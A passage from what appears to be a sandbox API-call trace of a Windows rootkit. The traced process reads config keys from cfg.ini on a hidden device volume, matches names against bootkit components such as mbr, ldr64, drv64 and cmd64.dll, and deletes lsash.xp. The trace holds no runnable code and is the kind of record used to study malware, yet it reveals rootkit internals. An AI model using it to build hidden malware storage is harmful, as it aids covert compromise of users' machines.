0x103 [0117.446] KeWaitForMutexObject () returned 0x0 [0117.446] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.446] KeLeaveCriticalRegion () [0117.446] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.446] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.447] KeEnterCriticalRegion () [0117.447] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.447] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.447] KeLeaveCriticalRegion () [0117.447] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.447] KeEnterCriticalRegion () [0117.447] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.447] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.447] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d94d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.447] KeLeaveCriticalRegion () [0117.447] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.447] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.447] KeEnterCriticalRegion () [0117.447] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.447] ExFreePoolWithTag (P=0xfffffa80039cf600, Tag=0x0) [0117.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.447] KeLeaveCriticalRegion () [0117.447] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.447] ReleaseMutex (hMutex=0xf0) returned 1 [0117.447] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.447] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.447] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.447] KeEnterCriticalRegion () [0117.447] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.447] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.447] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.447] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.447] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.447] IdePortDispatch () returned 0x103 [0117.448] KeWaitForMutexObject () returned 0x0 [0117.448] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.448] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.448] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.448] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.448] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.448] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d99c0 [0117.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.448] KeLeaveCriticalRegion () [0117.448] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.448] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.448] KeEnterCriticalRegion () [0117.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.448] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.448] KeLeaveCriticalRegion () [0117.448] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.448] KeEnterCriticalRegion () [0117.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.448] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.448] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.448] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.448] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.448] IdePortDispatch () returned 0x103 [0117.448] KeWaitForMutexObject () returned 0x0 [0117.449] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.449] KeLeaveCriticalRegion () [0117.449] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.449] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.449] KeEnterCriticalRegion () [0117.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.449] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cad000 [0117.449] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.449] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.449] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.449] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.449] IdePortDispatch () returned 0x103 [0117.449] KeWaitForMutexObject () returned 0x0 [0117.449] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.449] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.449] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.449] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.449] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.449] IdePortDispatch () returned 0x103 [0117.449] KeWaitForMutexObject () returned 0x0 [0117.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.449] KeLeaveCriticalRegion () [0117.449] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.450] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.450] KeEnterCriticalRegion () [0117.450] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.450] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.450] KeLeaveCriticalRegion () [0117.450] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.450] KeEnterCriticalRegion () [0117.450] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.450] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.450] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9a80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.450] KeLeaveCriticalRegion () [0117.450] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.450] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.450] KeEnterCriticalRegion () [0117.450] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.450] ExFreePoolWithTag (P=0xfffffa80039d99c0, Tag=0x0) [0117.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.450] KeLeaveCriticalRegion () [0117.450] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.450] ReleaseMutex (hMutex=0xf0) returned 1 [0117.450] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.450] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.450] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.450] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.451] KeEnterCriticalRegion () [0117.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.451] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.451] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.451] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.451] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.451] IdePortDispatch () returned 0x103 [0117.451] KeWaitForMutexObject () returned 0x0 [0117.451] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.451] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.451] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.451] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.451] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.451] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.451] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.451] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.451] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.451] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.451] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.451] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.451] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.451] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.451] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.451] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.451] KeLeaveCriticalRegion () [0117.451] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.451] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.451] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.451] KeEnterCriticalRegion () [0117.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.451] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.451] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.451] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.451] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.451] IdePortDispatch () returned 0x103 [0117.451] KeWaitForMutexObject () returned 0x0 [0117.452] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.452] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.452] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.452] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.452] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.452] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.452] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.452] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.452] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.452] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.452] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.452] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.452] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.452] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.452] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.452] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.452] KeLeaveCriticalRegion () [0117.452] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.452] ReleaseMutex (hMutex=0x100) returned 1 [0117.452] Sleep (dwMilliseconds=0x2bf20) [0117.458] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6933e830, dwHighDateTime=0x1d24fa4)) [0117.458] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.458] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.458] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.458] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.458] KeEnterCriticalRegion () [0117.458] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.458] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.458] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.458] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.458] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.458] IdePortDispatch () returned 0x103 [0117.458] KeWaitForMutexObject () returned 0x0 [0117.459] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.459] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.459] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.459] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.459] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.459] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d9670 [0117.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.459] KeLeaveCriticalRegion () [0117.459] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.459] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.459] KeEnterCriticalRegion () [0117.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.459] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.459] KeLeaveCriticalRegion () [0117.459] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.459] KeEnterCriticalRegion () [0117.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.459] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.459] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.459] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.459] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.459] IdePortDispatch () returned 0x103 [0117.459] KeWaitForMutexObject () returned 0x0 [0117.459] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.459] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.459] KeLeaveCriticalRegion () [0117.459] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.459] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.459] KeEnterCriticalRegion () [0117.459] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.459] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb0000 [0117.460] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.460] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.460] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.460] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.460] IdePortDispatch () returned 0x103 [0117.460] KeWaitForMutexObject () returned 0x0 [0117.460] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.460] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.460] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.460] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.460] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.460] IdePortDispatch () returned 0x103 [0117.460] KeWaitForMutexObject () returned 0x0 [0117.460] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.460] KeLeaveCriticalRegion () [0117.460] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.461] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.461] KeEnterCriticalRegion () [0117.461] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.461] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.461] KeLeaveCriticalRegion () [0117.461] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.461] KeEnterCriticalRegion () [0117.461] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.461] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.461] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d97d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.461] KeLeaveCriticalRegion () [0117.461] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.461] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.461] KeEnterCriticalRegion () [0117.461] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.461] ExFreePoolWithTag (P=0xfffffa80039d9670, Tag=0x0) [0117.461] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.461] KeLeaveCriticalRegion () [0117.461] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.461] ReleaseMutex (hMutex=0xf0) returned 1 [0117.461] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.461] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.461] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.461] KeEnterCriticalRegion () [0117.461] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.461] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.461] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.461] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.461] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.461] IdePortDispatch () returned 0x103 [0117.461] KeWaitForMutexObject () returned 0x0 [0117.461] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.461] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.462] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.462] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.462] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.462] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d99c0 [0117.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.462] KeLeaveCriticalRegion () [0117.462] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.462] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.462] KeEnterCriticalRegion () [0117.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.462] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.462] 